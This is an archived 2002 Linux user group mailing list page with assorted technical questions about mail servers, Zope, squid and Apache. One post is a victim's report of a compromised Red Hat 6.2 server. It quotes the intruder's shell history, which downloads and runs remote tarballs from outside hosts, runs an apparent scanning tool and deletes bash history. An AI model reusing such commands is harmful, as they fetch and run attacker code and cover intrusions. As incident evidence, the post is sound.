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Can someone sell this to Bollywood then...
by Frederick Noronha 26 Nov '02

26 Nov '02

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Hack
by mails＠munshi.dyndns.org 25 Nov '02

25 Nov '02

Hello, Well, I have been hacked and my /var/log/messages has next to nothing in it. I am keen on getting to this person who did it. Fortunely I have not lost a lot any important data. But first the proof that I have been hacked. /var/log/messages (This is the first line) Nov 18 02:22:53 munshi userdel[8048]: delete user `ftp' Nov 18 02:22:53 munshi userdel[8048]: remove group `ftp' Nov 18 06:24:41 munshi ddclient[23392]: WARNING: cannot connect to checkip.dyn$Nov 18 06:32:21 munshi ddclient[23392]: WARNING: cannot connect to checkip.dyn$Nov 18 06:40:01 munshi ddclient[23392]: WARNING: cannot connect to checkip.dyn$ The part after 6:24 is proper, but my net wasnt working at that time (this is a normal thing and I do not susspect the hacker to do this, it is a normal thing and happens almost everyday, I get loggedout from my servers, the network is up but I cant access the internet also other from the outside world cant access my PC), so there are warning messages by my automatic IP updater from 6:24 onwards. What I am amazed is that after an entry at 2:22am there is an entry at 6:24, so someone has definately hacked and deleted the middle section, he probably left the upper part just to misguide us. The .bas* were deleted, but unfortunately for the hacker the .bash_histrory has some important data there, cd /dev/ida/.sys/trojan wget www.geocities.com/master0n/bestwu.tgz tar zxvf bestwu.tgz cd aw make ./awu 24.132 cd .. lsd ls rm -rf aw bestwu.tgz ls wget www.geocities.com/dont_haxer/b.tgz tar zxvf b.tgz rm -rf b.tgz cd .b ./bash ./bash cd /root rm -rf .bas* After that is what I had been doing. So that is the last entry. So my .bash_profile has been deleted and that is how I came to know that something i wrong, I have not rebooted my system as yet, and do not thing it is necessary. There are a few other things that amaze me here are 1. First is the time 2:22am to 6:24am is free where as there should have been entries from ddclient, a program that I am running. 2. The /dev/ida/.sys directory should exist since that is where the above commands have been run and there is no command that is deleting that directory in .bash_history. 3. netstat -a, ps ax are not working since the required libraries are not present, so I cant check which ports are open. The error given by netstat -a is bash# netstat -a sh: error in loading shared libraries: libtermcap.so.2: cannot open shared object file: Error 23 cat: error in loading shared libraries: libc.so.6: cannot open shared object file: Error 23 egrep: error in loading shared libraries: libc.so.6: cannot open shared object file: Error 23 cat: /root/.net: Too many open files in system bash# ps ax sh: error in loading shared libraries: libtermcap.so.2: cannot open shared object file: Error 23 egrep: error in loading shared libraries: libc.so.6: cannot open shared object file: Error 23 cat: /root/.pstmp: Too many open files in system cat: /root/.pstmp: No such file or directory cat: /root/.pstmp: No such file or directory cat: /root/.pstmp: No such file or directory cat: /root/.pstmp: No such file or directory cat: /root/.pstmp: No such file or directory cat: /root/.pstmp: No such file or directory cat: /root/.pstmp: No such file or directory top is working fine but does not show me any problems 4. wget was downloading mandrake for me, it should have got disconnected since my net wasnt working, but it is still continuing to download the ISO's for me. Also another amazing thing is that wget was downloading 2nd ISO when I logged in and just downloaded 114MB of it and switchedover to 3rd ISO. INFO Working on RH6.2, full installation. telnet was off, ssh is not there, ddclient may have opened a few ports that I may have not noticed, I just downloaded and installed ddclient just two days back, but it is a perl script, I have not yet gone through that script as yet. Please help me to find the person who did this. Thanks in advance. Bye.

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squid and NIS
by slash_axl_rose_upen 25 Nov '02

25 Nov '02

Hi i hav 2 ques for all u 1.>which is most famous proxy server linux servers use?why most isps choose squid??? 2>what is NIS and what is its equivalent in windows??? --------------------------------- Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now

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Re: [ILUG-BOM] Mail server?
by Ashok Iyer 25 Nov '02

25 Nov '02

Hi Amish, > I am going live with a complete webhosting and domain name >providing >service. I need to know which is the best mail server for this >purpose. I have worked both with sendmail and qmail and have a few live imstallations of both. My experience tells me that you can safely go with qmail. Remember though, that qmail does not serialize mail. It sends mail on the wire as aoon as it is received. So if you need to serialize your mails, maybe postfix is a better choice- I guess it does this. For virtual hosting in sendmail, maybe the vhost package does what you want but I am not sure. google for it. qmail+OpenLDAP rocks for me. -- ashok

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Re: [ILUG-BOM] Installing & configuring ZOPE
by Baishampayan Ghose 25 Nov '02

25 Nov '02

Hi! I use SuSE Linux 8.0 on a P4 based machine. Can anybody tell me how to install & configure Zope ? I can see that Zope is already installed on my PC ( in the /opt directory). The Doc pages say that I need to compile a .py file which I simply couldn't locate. Please help. Thanx. Bhaskar Ghose. ======= Microsoft is not the answer. Microsoft is the question. No [or GNU /Linux] is the answer. _________________________________________________________________ Add photos to your messages with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail

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When traversing a linked list
by Satya 25 Nov '02

25 Nov '02

When traversing a linked list, be sure to: 1. initialize your temp pointer 2. advance your temp pointer <bart simpson mode> for(i=0;i<bb_size;i++) { fprintf(bb,"I will not leave my temp pointer uninitialised"); } for(i=0;i<bb_size;i++) { fprintf(bb,"I will not forget to advance my temp pointer"); } </bart simpson mode> Mostly, read http://www.livejournal.com/users/satyap/ -- Satya. <URL:http://satya.virtualave.net/> I need a job! Perl, Apache, Linux, C. http://www-scf.usc.edu/~phanse/resume.pdf Computers are not intelligent. They only think they are.

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Mail server?
by Amish K. Munshi 25 Nov '02

25 Nov '02

Hi, I know I am asking a wrong question just as many have but I am asking just becuse of a little nervousness. I really need help on this one and the only reason I am asking this is to know how much help I will get on any mail server. on this list. I am going live with a complete webhosting and domain name providing service. I need to know which is the best mail server for this purpose. As always the choices are qmail,sendmail, postfix and exim. I have worked with qmail, postfix and sendmail with decreasing order of knowledge about hem. I have never installed exim. Other question is that, does sendmail provide virtual hosting. I have used virtual hosting but that was as system users in sendmail. I want completely transperent virtual hosting. So a amish{at}munshi.dyndns.org will not be any diferent from amish{at}munshi.d2g.com. That will not do my needs. Sorry guys for this question, but its a little more than just a same question. Bye.

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Execute as root on apache
by Amish Munshi 24 Nov '02

24 Nov '02

Hello all, I have a script which is going to add a new user to the system. I am using PHP to execute that script, I have a suid on that script (shell script). But I get permission denied in the logs, the page opens well in the browser. I tried the following, changing the owner of the script to apache and root while giving it 711 permission and 4711 permission. But all does not work. It seems that apache just reads the file and execute the commands in it. How can I execute a script in any folder (on the system) as root. Bye.

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Fw: [ILUG-BOM] Linux Lunacy at Arnala Beach resort.........need a critcal mass of 50
by Trevor Warren 24 Nov '02

24 Nov '02

Hello luggers...:( Luggers.....if i don't have a mass of 50PPL there can't be a trip...besides there won't be sufficient funds to arrange for the BUS. Help us make this a SUCCESSFUL EVENT. After all, we are all here to share our knowledge and learn at the same time. Pls don't dash my hopes. Bye for now. Trevor >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >Forwarded message >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> GNU/Linux Lunacy at Arnala Beach Resort. Coming December 22nd we plan to have a fun fill trip along with a lot of geek speakers and tons of linuxers participate wociferously in debates .... Lay back in the pool and bask in a shade of cocunt tree with a glass of ...... in ur hand at the arnala beach resort. Registrations close on December 10th, for registration go here. http://mlasia.mine.nu/ilug/ For Queries contact : Cost for the same of Rs. 225/ inclusive of travel and food, to be sent to the address provide on the registration form. REGISTRATION WILL BE CONFIRMED ONLY AFTER RECIEVING THE APPROPRIATE AMOUNT. Trevor -- ( >- GNU/LINUX, It's all about CHOICE -< ) /~\ __ http://www.qmailtheeasyway.com __ /~\ | \) / mailto: trevor.w(a)media.mit.edu \ (/ | |_|_ \ Research Asst, MediaLab / _|_| \___________________________________/ _______________________________________________ http://mm.ilug-bom.org.in/mailman/listinfo/linuxers -- ( >- GNU/LINUX, It's all about CHOICE -< ) /~\ __ http://www.qmailtheeasyway.com __ /~\ | \) / mailto: trevor.w(a)media.mit.edu \ (/ | |_|_ \ Research Asst, MediaLab / _|_| \___________________________________/

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creating Desktop shortcuts form java program
by kshitijv 24 Nov '02

24 Nov '02

Hello Luggers, I am developing a cross platform installer in java. I need to create desktop shortcuts and start menu item on Unix/Linux. I am considering KDE, GNOME, Openwin and CDE as target GUI for Unix/Linux systems. I am a newbie for GUI programming on Unix/Linux. Can anybody help me to accomplish this? I am ready for using any native code if required. It will be great if I can get insight with respect to nature and structure of shortcut (link) files. Is there any readymade library (docs) of APIs like we have MSDN for windows? -Kshitij kshitijv e-mail: kshitijv(a)forindia.com

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